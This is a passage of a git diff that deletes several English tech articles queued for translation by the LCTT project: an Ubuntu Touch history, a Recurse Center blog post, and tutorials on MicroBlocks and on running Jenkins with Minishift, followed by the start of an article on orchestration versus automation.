the tech trend, Ubuntu tried its hands on creating a Linux-based mobile operating system. The first announcement came a decade back and six years down the line, Ubuntu closed the curtains on the project. - -What went wrong? How it started? Is Ubuntu Touch still alive? Let’s take a look at the history of Ubuntu Touch in chronological order. - -### Shuttleworth Announced Ubuntu Touch - -![][1] - -The [Ubuntu Touch project][2] began with a blog post by Canonical founder [Mark Shuttleworth][3]. The [blog post][4], dated October 31, 2011, started with a bold prediction: “By 14.04 LTS Ubuntu will power tablets, phones, TVs and smart screens from the car to the office kitchen, and it will connect those devices cleanly and seamlessly to the desktop, the server and the cloud.” - -Shuttleworth went on to explain that this move would be accomplished mainly through the use of the company’s new desktop environment, Unity. (Unity was introduced in Ubuntu 10.10.) “Unity, the desktop interface in today’s Ubuntu 11.10, was designed with this specific vision in mind.” - -The whole idea behind Unity was to create an interface that would work on different screen resolutions. - -_**“Unity’s core elements are arranged in exactly the way we need to create coherence across all of those devices. This was the origin of the name Unity – a single core interface framework, that scales across all screens, and supports all toolkits.”**_ - -Shuttleworth said that this move was motivated by the increasing use of mobile devices. “Make no mistake – just as the world is changing for manufacturers so is it changing for Linux distributions. Today, 70% of people in Egypt access the Internet solely via the phone. Even in the US that figure is a startling 25%.” - -### Ubuntu Touch is Released to the World - -![][5] - -The Unity desktop environment was originally introduced in the netbook version of Ubuntu 10.10. However, the phone interface wouldn’t be seen by the public until 2013. [Mark Shuttleworth demoed][6] it at the 2013 CES. - -Ubuntu Touch 1.0 was baked into the [Ubuntu 13.10 release][7]. This version primarily supported “Galaxy Nexus and Nexus 4 phone” with other images being available, as well. - -The [system requirements][8] for Ubuntu Touch looked a little bit like this: - -| Entry-level Ubuntu smartphone | High-end Ubuntu “superphone” ----|---|--- -Processor architecture | 1Ghz Cortex A9 | Quad-core A9 or Intel Atom -Memory | 512MB – 1GB | Min 1GB -Flash storage | 4-8GB eMMC + SD | Min 32GB eMMC + SD -Multi-touch | Yes | Yes -Desktop convergence | No | Yes - -![Convergence concept][9] - -Note: The last item on the above list (**desktop convergence**) might be a new idea to some people. This meant that you could use your Ubuntu Touch device like a phone, but you could also hook it up to a display, keyboard, and mouse to use it as a desktop. Unfortunately, Ubuntu Touch never gained this feature. - -### Ubuntu Tries to Crowdfund a Phone - -To show off what an ideal Ubuntu phone would look like, Canonical started a crowdfunding campaign to finance the [Ubuntu Edge][10] on July 22, 2013. The goal was to raise $32 million in a month to produce 40,000 devices. - -According to the campaign’s page, Canonical hoped to use the new device “to provide a low-volume, high-technology platform, crowdfunded by enthusiasts and mobile computing professionals. A pioneering project that accelerates the adoption of new technologies and drives them down into the mainstream.” - -The Ubuntu Edge was considered high-end at the time with the following specs: - -Mobile OS | Dual-boots Android and Ubuntu mobile ----|--- -Desktop OS | Ubuntu Desktop -RAM | 4GB -Internal storage | 128GB -Screen | 720 x 1,280, 4.5 inches -Protection | Sapphire Glass -Connectivity | Dual-LTE, GSM -Speakers | Stereo -Battery | Silicon-anode Li-ion -Price | $695 - -Interestingly, several large companies pledged money. For example, [Bloomberg pledged $800,000][11]. They made this pledge because they believed that Ubuntu Touch “could benefit its clients and the future of mobile Relevant Products/Services computing.” - -Ultimately, the campaign didn’t reach its goal. It only reached $12.7 million or 37% of the goal. The amount raised was the biggest a crowdfunding campaign ever saw. - -### Ubuntu Touch Goes into Production (Sort of) - -Though Canonical failed to make its own hardware, it continued working on the software part i.e., developing the Ubuntu Touch mobile operating system. - -![][12] - -Ubuntu Touch was released to device makers in 2014. That same year, [two device makers committed][13] to produce Ubuntu phones. These two companies, Chinese Meizu and Spanish BQ, weren’t exactly global household names, but Shuttleworth said that was all part of the plan. - -_“While we’re happy to work with household names, we want to be involved with partners for whom we can be a significant part of their story, rather than being appended to the more complicated story of other brands.”_ - -Both companies produced and released several phones with Ubuntu Touch as the main operating system. BQ also released an Ubuntu Touch tablet. However, no other manufacturer signed up to make Ubuntu Touch devices. - -### Canonical Discontinues Ubuntu Touch - -![Unity 8 was in beta when Ubuntu discontinued Unity and Ubuntu Touch project][14] - -In early April of 2017, Mark Shuttleworth made another [announcement][15]. After mentioning that Canonical had experienced an “excellent quarter and excellent year”, Shuttleworth [announced the end of the Ubuntu Touch and Unity][16]. “I’m writing to let you know that we will end our investment in Unity8, the phone and convergence shell.” Instead, Canonical would focus on desktop Ubuntu. - -He continued: - -> I took the view that, if convergence was the future and we could deliver it as free software, that would be widely appreciated both in the free software community and in the technology industry, where there is substantial frustration with the existing, closed, alternatives available to manufacturers. I was wrong on both counts. In the community, our efforts were seen fragmentation not innovation. And industry has not rallied to the possibility, instead taking a ‘better the devil you know’ approach to those form factors, or investing in home-grown platforms. What the Unity8 team has delivered so far is beautiful, usable and solid, but I respect that markets, and community, ultimately decide which products grow and which disappear. - -He closed by saying that it was a hard decision to make because of his strong belief in the future of convergence. - -### The Community Keeps the Project Alive - -When Shuttleworth’s announcement hit the internet, all the supporters of Ubuntu Touch were shocked. Many were unsure of what would happen to the devices that they owned. Thankfully, the community came to the rescue. - -![][17] - -Shortly after Shuttleworth’s announcement, Marius Gripsgård [announced][18] that the UBports team would be keeping Ubuntu Touch alive. UBports was already well known in the Ubuntu Touch community for their work on porting it to more devices. - -Several other projects tried to do the same with the desktop version of Unity, but most did not last long. One of them had the inventive name of Yunit but I guess it is not actively developed anymore. - -[UBports is the only project][2] that is keeping Ubuntu Touch alive by continuously working on its development. - -### Epilogue - -Ubuntu Touch was not the success that Canonical wanted it to be. It was too early for the market. However, it did lay the groundwork for the Linux phones that we have now. - -I believe that the [PinePhone][19] and the [Purism Librem 5][20] phone would not have come about without Ubuntu Touch sparking interest in a Linux phone. At the same time, the Canonical engineers and programmers solved problems that laid the groundwork for these modern phones. You don’t get successes without a few failures along the way. - -If you found this article interesting, please take a minute to share it on social media, Hacker News, or [Reddit][21]. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/ubuntu-touch/ - -作者:[John Paul][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/john/ -[b]: https://github.com/lujun9972 -[1]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/10/ubuntu-touch-devices.jpg?resize=800%2C497&ssl=1 -[2]: https://ubuntu-touch.io/ -[3]: https://en.wikipedia.org/wiki/Mark_Shuttleworth -[4]: https://www.markshuttleworth.com/archives/820 -[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/10/ubuntu-touch-tablet.jpg?resize=625%2C363&ssl=1 -[6]: https://www.youtube.com/watch?v=RO7QbCqFY7Y -[7]: https://wiki.ubuntu.com/SaucySalamander/ReleaseNotes#Ubuntu_for_Phones -[8]: https://web.archive.org/web/20130326085927/http://www.ubuntu.com/devices/phone/operators-and-oems -[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2016/02/convergence-ubuntu.jpg?resize=1024%2C588&ssl=1 -[10]: https://www.indiegogo.com/projects/ubuntu-edge#/ -[11]: https://web.archive.org/web/20131020144457/http://www.cio-today.com/story.xhtml?story_title=Ubuntu_Edge_Smartphone_Raises_Millions__Falls_Short&story_id=10200A158ZW0 -[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2015/02/image-phone-overview.jpg?resize=567%2C302&ssl=1 -[13]: https://www.cnet.com/news/ubuntu-touch-gets-grip-on-its-first-phone-makers/ -[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/02/unity8_ubports.png?resize=800%2C450&ssl=1 -[15]: https://ubuntu.com/blog/growing-ubuntu-for-cloud-and-iot-rather-than-phone-and-convergence -[16]: https://itsfoss.com/ubuntu-unity-shutdown/ -[17]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/02/ubports.jpeg?resize=720%2C480&ssl=1 -[18]: https://news.softpedia.com/news/ubuntu-touch-and-unity-8-are-not-dead-ubports-community-will-keep-them-alive-514620.shtml -[19]: https://itsfoss.com/pinephone/ -[20]: https://itsfoss.com/librem-linux-phone/ -[21]: https://%0Areddit.com/r/linuxusersgroup diff --git a/sources/tech/20201106 I-m doing another Recurse Center batch.md b/sources/tech/20201106 I-m doing another Recurse Center batch.md deleted file mode 100644 index 1efce36ebb..0000000000 --- a/sources/tech/20201106 I-m doing another Recurse Center batch.md +++ /dev/null @@ -1,79 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (I'm doing another Recurse Center batch!) -[#]: via: (https://jvns.ca/blog/2020/11/05/i-m-doing-another-recurse-center-batch-/) -[#]: author: (Julia Evans https://jvns.ca/) - -I'm doing another Recurse Center batch! -====== - -Hello! I’m going to do a batch (virtually) at the [Recurse Center][1], starting on Monday. I’ll probably be blogging about what I learn there, so I want to talk a bit about my plans! - -I’m excited about this because: - - * I love RC, it’s my favourite programming community, and I’ve always been able to do fun programming projects there. - * they’ve put a lot of care into building a great virtual experience (including building some very fun [custom software][2]) - * there’s a pandemic, it’s going to be cold outside, and I think having a little bit more structure in my life is going to make me a lot happier this winter :) - - - -### what’s the Recurse Center? - -The Recurse Center (which I’ll abbreviate to “RC”) is a self-directed programming retreat. It’s free to attend. - -A “batch” is 1 or 6 or 12 weeks, and the idea is that during that time, you: - - 1. choose what things you want to learn - 2. come up with a plan to learn the things (often the plan is “do some kind of fun project”, like [“write a TCP stack”][3]) - 3. learn the things - - - -Also there are a bunch of other delightful people learning things, so there’s lots of inspiration for what to learn and people to collaborate with. There are always people who are early in their programming life and looking to get their first programming job, as well as people who have been programming for a long time. - -Their business model is recruiting – they [partner with][4] a bunch of companies, and if you want a job at the end of your batch, then they’ll match you with companies, and if you accept a job with one of those companies then the company pays them a fee. - -I won’t say too much more about it because I’ve written 50+ other posts about how much I love RC on this blog that probably cover it :) - -### some ideas for what I’ll do at RC - -Last time I did RC I had a bunch of plans going in and did not do any of them. I think this time it’ll probably be the same but I’ll list my ideas anyway: here are some possible things I might do. - - * learn Rails! I’ve been making small websites for a very long time but I haven’t really worked as a professional web developer, and I think it might be fun to have the superpower of being able to build websites quickly. I have an idea for a silly website that I think would be a fun starter rails project. - * experiment with generative neural networks (I’ve been curious about this for years but haven’t made any progress yet) - * maybe finish up this “incidents as a service” system that I started a year and a half ago to help people learn by practicing responding to weird computer situations - * deal with some of the [rbspy][5] issues that I’ve been ignoring for months/years - * maybe build a game! (there’s a games theme week during the batch!) - * maybe learn about graphics or shaders? - - - -In my first batch I spent a lot of time on systems / networking stuff because that felt like the hardest thing I could do. This time I feel pretty comfortable with my ability to learn about systems stuff, so I think I’ll focus on different topics! - -### so that’s what I’ll be writing about for a while! - -I’m hoping to blog more while I’m there, maybe not “every day” exactly (it turns out that blogging every day is a lot of work!), but I think it might be fun to write a bunch of tiny blog posts about things I’m learning. - -I’m also planning to release a couple of zines this month – I finished a zine about CSS, and also wrote another entire zine about bash while I was procrastinating on finishing the CSS zine in a self-imposed “write an entire zine in October” challenge, so you should see those here soon too. I’m pretty excited about both of them. - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/11/05/i-m-doing-another-recurse-center-batch-/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://www.recurse.com/ -[2]: https://www.recurse.com/virtual-rc -[3]: https://jvns.ca/blog/2014/08/12/what-happens-if-you-write-a-tcp-stack-in-python/ -[4]: https://www.recurse.com/hire -[5]: https://github.com/rbspy/rbspy diff --git a/sources/tech/20201109 Program your microcontroller with MicroBlocks.md b/sources/tech/20201109 Program your microcontroller with MicroBlocks.md deleted file mode 100644 index 9325db5574..0000000000 --- a/sources/tech/20201109 Program your microcontroller with MicroBlocks.md +++ /dev/null @@ -1,144 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Program your microcontroller with MicroBlocks) -[#]: via: (https://opensource.com/article/20/11/microblocks) -[#]: author: (Don Watkins https://opensource.com/users/don-watkins) - -Program your microcontroller with MicroBlocks -====== -MicroBlocks brings a Scratch-like interface to programming the -Micro:bit, Circuit Playground Express, and other microcontroller boards. -![Computer hardware components, generic][1] - -If you like to tinker with technology, you may be familiar with programmable microcontroller boards, such as AdaFruit's [Circuit Playground Express][2] and the [BBC Micro:bit][3]. Now there's a new programming option for you to try: [MicroBlocks][4]. It's a simple Scratch-like programming interface that works well with several microcontrollers, including those two. - -I own both the Circuit Playground Express and the BBC Micro:bit and was eager to try MicroBlocks after discovering it on [Twitter][5]. - -### Install MicroBlocks - -To set up MicroBlocks on a Debian-based Linux distribution, [download][6] and install the .deb file. If you use an RPM-based Linux distribution, you can download the Linux [64-bit][7] or [32-bit][8] standalone executable. MicroBlocks also offers installers for [Windows][9], [macOS][10], and [Raspberry Pi][11]. - -MicroBlocks can also run in a Chrome, Chromium, or Edge [browser][12] using its experimental web platform, which enables special web serial connections. The Chrome web store also has a [browser extension][13] for MicroBlocks. - -### Connect your microcontroller - -Before you can access your microcontroller on Linux, you must add yourself to your computer's dialout group. Linux uses this group to communicate with serial devices, and if your user account isn't in that group, you won't be able to control your device. - -Run the following in a terminal to add yourself to the dialout group: - - -``` -`$ sudo usermod -G dialout -a `whoami`` -``` - -Log out of your desktop and then log back in (or just reboot). Then connect your BBC Micro:bit, Circuit Playground Express, or other microcontroller board to an available USB port on your computer. My [Intel NUC][14] recognized my microcontroller without issue. - -After connecting your microcontroller, you may be asked to update the device's firmware. It's safe to do so. - -![Update firmware option][15] - -(Don Watkins, [CC BY-SA 4.0][16]) - -Once that's done, you're all ready to go. - -### Start programming - -Use the programming interface to set what language you want to use when interacting with MicroBlocks. - -![MicroBlocks language options][17] - -(Don Watkins, [CC BY-SA 4.0][16]) - -You can verify that your microcontroller is connected by checking the Connect icon on the menu. - -![MicroBlocks Connection icon][18] - -(Don Watkins, [CC BY-SA 4.0][16]) - -Now you're ready to start exploring. One of my favorite ways to learn is to tinker with a user interface's different options. What makes MicroBlocks special is that it's a live coding environment, so you get to see changes you make right away. - -Try this: Go to the Display category (in the left-hand column) and drag the display array into the scripting area. Use the menu to change A to B in one of them. - -Click on a programming block, and your code, simple though it may be, runs immediately on the board. - -### Use programming blocks - -If you are familiar with [Scratch][19], you are likely to find MicroBlocks extremely easy to use. Students love it because of the instant feedback from the board and the program. - -My first program was very simple. I wanted to make a simple "smiley face" on my Micro:bit. - -First, I clicked on the Control block and selected: "When button 'a' is pressed." - -Then I selected a smiley face from the LED Display library and connected that to the Control block.  - -Finally, I pressed Button A on my Micro:bit. Feedback is instantaneous. - -![Smiley face displayed on Micro:bit][20] - -(Don Watkins, [CC BY-SA 4.0][16]) - -### Save your code - -Saving your program is easy. On the top menu bar, click on the third icon from the left (the document icon). Choose the Save option from the drop-down menu. - -![Save file in MicroBlocks][21] - -(Don Watkins, [CC BY-SA 4.0][16]) - -Try experimenting with the interface to program your board however you want. For my second program, I used the Control and LED Display blocks to spell out "Bills," which is my favorite NFL team. But there are lots of other functions available, so try designing something that interests you. - -!["Bills" on Micro:Bit][22] - -(Don Watkins, [CC BY-SA 4.0][16]) - -### Do more with MicroBlocks - -Be sure to check out the [quickstart][23] guide on the MicroBlocks website for more information. The site also contains [activity guides][24] with easy-to-follow code examples for students and teachers. These will help anyone get started programming the Micro:bit or the Circuit Playground Express with MicroBlocks. - -MicroBlocks is fully [open source][25] and released under the [Mozilla Public License 2.0][26]. - -MicroBlocks is still under active development by the core team, and they're not currently soliciting code contributions or pull requests. However, they are interested in any MicroBlocks tutorials, lesson plans, or examples from the community, so please [contact them][27] if you have something to share. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/microblocks - -作者:[Don Watkins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/don-watkins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/hardware_disk_components.png?itok=W1fhbwYp (Computer hardware components, generic) -[2]: https://opensource.com/article/19/7/circuit-playground-express -[3]: https://opensource.com/article/19/8/getting-started-bbc-microbit -[4]: https://microblocks.fun/ -[5]: https://twitter.com/microblocksfun -[6]: https://microblocks.fun/download -[7]: https://microblocks.fun/downloads/latest/standalone/ublocks-linux64bit.zip -[8]: https://microblocks.fun/downloads/latest/standalone/ublocks-linux32bit.zip -[9]: https://microblocks.fun/downloads/latest/packages/microBlocks%20setup.exe -[10]: https://microblocks.fun/downloads/latest/packages/MicroBlocks.app.zip -[11]: https://microblocks.fun/downloads/latest/packages/ublocks-armhf.deb -[12]: https://microblocks.fun/run/microblocks.html -[13]: https://chrome.google.com/webstore/detail/microblocks/cbmcbhgijipgdmlnieolilhghfmnngbb?hl=en -[14]: https://opensource.com/article/20/9/linux-intel-nuc -[15]: https://opensource.com/sites/default/files/uploads/microblocks_update-firmware.png (Update firmware option) -[16]: https://creativecommons.org/licenses/by-sa/4.0/ -[17]: https://opensource.com/sites/default/files/uploads/microblocks_set-language.png (MicroBlocks language options) -[18]: https://opensource.com/sites/default/files/uploads/microblocks_connected.png (MicroBlocks Connection icon) -[19]: https://scratch.mit.edu/ -[20]: https://opensource.com/sites/default/files/uploads/smileyface.jpg (Smiley face displayed on Micro:bit) -[21]: https://opensource.com/sites/default/files/uploads/microblocks_save.png (Save file in MicroBlocks) -[22]: https://opensource.com/sites/default/files/uploads/microblocks_bills.png ("Bills" on Micro:Bit) -[23]: https://microblocks.fun/learn#getstarted -[24]: https://microblocks.fun/learn#activity_cards -[25]: https://bitbucket.org/john_maloney/smallvm/src/master/ -[26]: https://www.mozilla.org/en-US/MPL/2.0/ -[27]: https://microblocks.fun/info#contact diff --git a/sources/tech/20201109 Set up Minishift and run Jenkins on Linux.md b/sources/tech/20201109 Set up Minishift and run Jenkins on Linux.md deleted file mode 100644 index 44d5f2ca9a..0000000000 --- a/sources/tech/20201109 Set up Minishift and run Jenkins on Linux.md +++ /dev/null @@ -1,311 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Set up Minishift and run Jenkins on Linux) -[#]: via: (https://opensource.com/article/20/11/minishift-linux) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) - -Set up Minishift and run Jenkins on Linux -====== -Install, configure, and use Minishift to create your first pipeline. -![cubes coming together to create a larger cube][1] - -[Minishift][2] is a tool that helps you run [OKD][3] (Red Hat's open source OpenShift container platform) locally by launching a single-node OKD cluster inside a virtual machine. It is powered by [Kubernetes][4], which is one of my favorite things to talk about. - -In this article, I will demonstrate how to get started with Minishift on Linux. This was written for Ubuntu 18.04, and you'll need [sudo access][5] on your Linux machine to run some commands. - -### Prerequisites - -Before starting the installation, your Linux machine must have either [KVM][6] for Linux or [VirtualBox][7], which runs on every platform. This demo uses KVM, which you can install along with all the required dependencies: - - -``` -$ sudo apt install qemu-kvm \ -libvirt-clients libvirt-daemon-system \ -bridge-utils virt-manager   -``` - -After installing KVM, you must make some modifications to allow your user to use it. Specifically, you must add your user name to the `libvirt` group: - - -``` -$ sudo usermod --append --groups libvirt $(whoami) -$ newgrp libvirt -``` - -Next, install the Docker KVM driver, which is needed to run containers on Minishift. I downloaded the Docker machine driver directly to `/usr/local/bin`. You don't have to save it to `/usr/local/bin`, but you must ensure that its location is in your [PATH][8]: - - -``` -$ curl -L \ --o /usr/local/bin/docker-machine-driver-kvm - -$ sudo chmod +x /usr/local/bin/docker-machine-driver-kvm -``` - -### Install Minishift - -Now that the prerequisites are in place, visit the Minishift [releases page][9] and determine which version of Minishift you want to install. I used Minishift [v1.34.3][10]. - -[Download the Linux .tar file][11] to a directory you will be able to find easily. I used the `minishift` directory: - - -``` -$ ls -Minishift-1.34.3-linux-amd64.tgz -``` - -Next, untar your new file using [the `tar` command][12]: - - -``` -$ tar zxvf minishift-1.34.3-linux-amd64.tgz -minishift-1.34.3-linux-amd64/ -minishift-1.34.3-linux-amd64/LICENSE -minishift-1.34.3-linux-amd64/README.adoc -minishift-1.34.3-linux-amd64/minishift -``` - -By using the `v` (for _verbose_) option in your command, you can see all the files and their locations in your directory structure. - -Run the `ls` command to confirm that the new directory was created: - - -``` -$ ls -minishift-1.34.3-linux-amd64 -``` - -Next, change to the new directory and find the binary file you need; it is named `minishift`: - - -``` -$ cd minishift-1.34.3-linux-amd64 -$ ls -LICENSE  minishift  README.adoc -$ -``` - -Move the `minishift `binary file to your PATH, which you can find by running the following and looking at the output: - - -``` -$ echo $PATH -/home/jess/.local/bin:/usr/local/sbin:/usr/local/bin -``` - -I used `/usr/local/bin` as the `minishift` binary file's location: - - -``` -$ sudo mv minishift /usr/local/bin -[sudo] password for jess: -$ ls /usr/local/bin -minishift -``` - -Run the `minishift` command and look at the output: - - -``` -$ minishift -Minishift is a command-line tool that provisions and manages single-node OpenShift clusters optimized for development workflows. - -Usage: -  minishift [command] - -Available Commands: -  addons        Manages Minishift add-ons. -  completion  Outputs minishift shell completion for the given shell -  config        Modifies Minishift configuration properties. -  console       Opens or displays the OpenShift Web Console URL. -[...] - -Use "minishift [command] --help" for more information about a command. -``` - -### Log into Minishift's web console - -Now that Minishift is installed, you can walk through it and play with some cool new software. Begin with `minishift start`. This, as you might guess, starts Minishift—specifically, it starts a one-node cluster on your computer: - - -``` -$ minishift start -  Starting profile 'minishift' -  Check if deprecated options are used … OK -  Checking if is reachable … OK -[...] -  Minishift will be configured with… -  Memory: 4GB -  vCPUs : 2GB -  Disk size: 20 GB -Starting Minishift VM ……….OK -``` - -This process can take a long time, depending on your hardware, so be patient. When it ends, you'll get information about where to find your imaginary cluster on your virtualized network: - - -``` -Server Information ... -MiniShift server started. -The server is accessible via web console at: - -``` - -Now, MiniShift is running, complete with a web console. You can log into the OKD console using **developer** as the user name and any password you want. I chose **developer** / **developer**. - -![Minishift web console login][13] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -The web console is an easy control panel you can use to administer your humble cluster. It's a place for you to create and load container images, add and monitor pods, and ensure your instance is healthy. - -![Minishift web console][15] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -### Build a pipeline - -To start building your first pipeline, click **Pipeline Build Example** on the console. Click **Next** to show the parameters available to create the pipeline project. - -![Pipeline Build Example][16] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -A window appears with parameters to fill in if you want; you can use what's already there for this example. Walk through the rest of the screen choices to create a sample pipeline. - -![Pipeline options][17] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -Click **Create**, and let Minishift create the project for you. It shows your success (or failure). - -![Successful pipeline build][18] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -You can also click **Show Parameters** and scroll through the list of parameters configured for this project. Click **Close** and look for a confirmation message on the left.  - -![Show Parameters Minishift][19] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -![List of projects][20] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -When you click on **My Project**, you can see the details and pods created for the project to run. - -![Project details][21] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -Open the `jenkins-ephemeral` link that was generated. Log in again with the **developer** credentials and allow access to run a pipeline in Jenkins. - -![Authorize access interface][22] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -Now you can look through the Jenkins interface to get a feel for what it has to offer. - -![Jenkins interface][23] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -Find your project. - -![Jenkins projects][24] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -When you're ready, click **Build Now**. - -![Jenkins "build now"][25] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -Then you can view the job's output in the console output. - -![Jenkins console output][26] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -Once the job completes successfully, you will see a success message at the bottom of the console. - -What did this pipeline do? It updated the deployment manually. - -![Pipeline result][27] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -Congratulations, you successfully created an example automated deployment using Minishift! - -### Clean it up - -The last thing to do is to clean up everything by running two commands: - - -``` -$ minishift stop -$ minishift delete -``` - -Why `stop` and then `delete`? Well, I like to make sure nothing is running before I run a delete command of any kind. This results in a cleaner delete without the possibility of having any leftover or hung processes. Here are the commands' output. - -![minishift stop command][28] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -![minishift delete command][29] - -(Jess Cherry, [CC BY-SA 4.0][14]) - -### Final notes - -Minishift is a great tool with great built-in automation. The user interface is comfortable to work with and easy on the eyes. I found it a fun new tool to play with at home, and if you want to dive in deeper, just look over the great [documentation][30] and many [online tutorials][3]. I recommend exploring this application in depth. Have a happy time Minishifting! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/minishift-linux - -作者:[Jessica Cherry][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/cube_innovation_process_block_container.png?itok=vkPYmSRQ (cubes coming together to create a larger cube) -[2]: https://www.okd.io/minishift/ -[3]: https://www.redhat.com/sysadmin/learn-openshift-minishift -[4]: https://opensource.com/resources/what-is-kubernetes -[5]: https://en.wikipedia.org/wiki/Sudo -[6]: https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine -[7]: https://www.virtualbox.org/wiki/Downloads -[8]: https://opensource.com/article/17/6/set-path-linux -[9]: https://github.com/minishift/minishift/releases -[10]: https://github.com/minishift/minishift/releases/tag/v1.34.3 -[11]: https://github.com/minishift/minishift/releases/download/v1.34.3/minishift-1.34.3-linux-amd64.tgz -[12]: https://opensource.com/article/17/7/how-unzip-targz-file -[13]: https://opensource.com/sites/default/files/uploads/minishift_web-console-login.png (Minishift web console login) -[14]: https://creativecommons.org/licenses/by-sa/4.0/ -[15]: https://opensource.com/sites/default/files/uploads/minishift_web-console.png (Minishift web console) -[16]: https://opensource.com/sites/default/files/uploads/minishift_pipeline-build-example.png (Pipeline Build Example) -[17]: https://opensource.com/sites/default/files/uploads/minishift_pipeline-build-config.png (Pipeline options) -[18]: https://opensource.com/sites/default/files/uploads/minishift_pipeline-build-success.png (Successful pipeline build) -[19]: https://opensource.com/sites/default/files/pictures/params-minishift.jpg (Show Parameters Minishift) -[20]: https://opensource.com/sites/default/files/uploads/minishift_myprojects.png (List of projects) -[21]: https://opensource.com/sites/default/files/uploads/minishift_project-details.png (Project details) -[22]: https://opensource.com/sites/default/files/uploads/minishift_authorize-access.png (Authorize access interface) -[23]: https://opensource.com/sites/default/files/uploads/jenkins-interface.png (Jenkins interface) -[24]: https://opensource.com/sites/default/files/uploads/jenkins-project.png (Jenkins projects) -[25]: https://opensource.com/sites/default/files/uploads/jenkins_build-now.png (Jenkins "build now") -[26]: https://opensource.com/sites/default/files/uploads/jenkins_console-output.png (Jenkins console output) -[27]: https://opensource.com/sites/default/files/uploads/pipelineresult.png (Pipeline result) -[28]: https://opensource.com/sites/default/files/uploads/minishift-stop.png (minishift stop command) -[29]: https://opensource.com/sites/default/files/uploads/minishift-delete.png (minishift delete command) -[30]: https://docs.okd.io/3.11/minishift/using/index.html diff --git a/sources/tech/20201109 What-s the difference between orchestration and automation.md b/sources/tech/20201109 What-s the difference between orchestration and automation.md deleted file mode 100644 index 610042b557..0000000000 --- a/sources/tech/20201109 What-s the difference between orchestration and automation.md +++ /dev/null @@ -1,78 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What's the difference between orchestration and automation?) -[#]: via: (https://opensource.com/article/20/11/orchestration-vs-automation) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -What's the difference between orchestration and automation? -====== -Both terms imply that things happen without your direct intervention. -But the way you get to those results, and the tools you use to make them -happen, differ. -![doodles of arrows moving in different directions][1] - -For the longest time, it seemed the only thing any sysadmin cared about was automation. Recently, though, the mantra seems to have changed from automation to orchestration, leading many puzzled admins to wonder: "What's the difference?" - -The difference between automation and orchestration is primarily in intent and tooling. Technically, automation can be considered a subset of orchestration. While orchestration suggests many moving parts, automation usually refers to a singular task or a small number of strongly related tasks. Orchestration works at a higher level and is expected to make decisions based on changing conditions and requirements. - -However, this view shouldn't be taken too literally because both terms—_automation_ and _orchestration_—do have implications when they're used. The results of both are functionally the same: things happen without your direct intervention. But the way you get to those results, and the tools you use to make them happen, are different, or at least the terms are used differently depending on what tools you've used. - -For instance, automation usually involves scripting, often in Bash or Python or similar, and it often suggests scheduling something to happen at either a precise time or upon a specific event. However, orchestration often begins with an application that's purpose-built for a set of tasks that may happen irregularly, on demand, or as a result of any number of trigger events, and the exact results may even depend on a variety of conditions. - -### Decisionmaking and IT orchestration - -Automation suggests that a sysadmin has invented a system to cause a computer to do something that would normally have to be done manually. In automation, the sysadmin has already made most of the decisions on what needs to be done, and all the computer must do is execute a "recipe" of tasks. - -Orchestration suggests that a sysadmin has set up a system to do something on its own based on a set of rules, parameters, and observations. In orchestration, the sysadmin knows the desired end result but leaves it up to 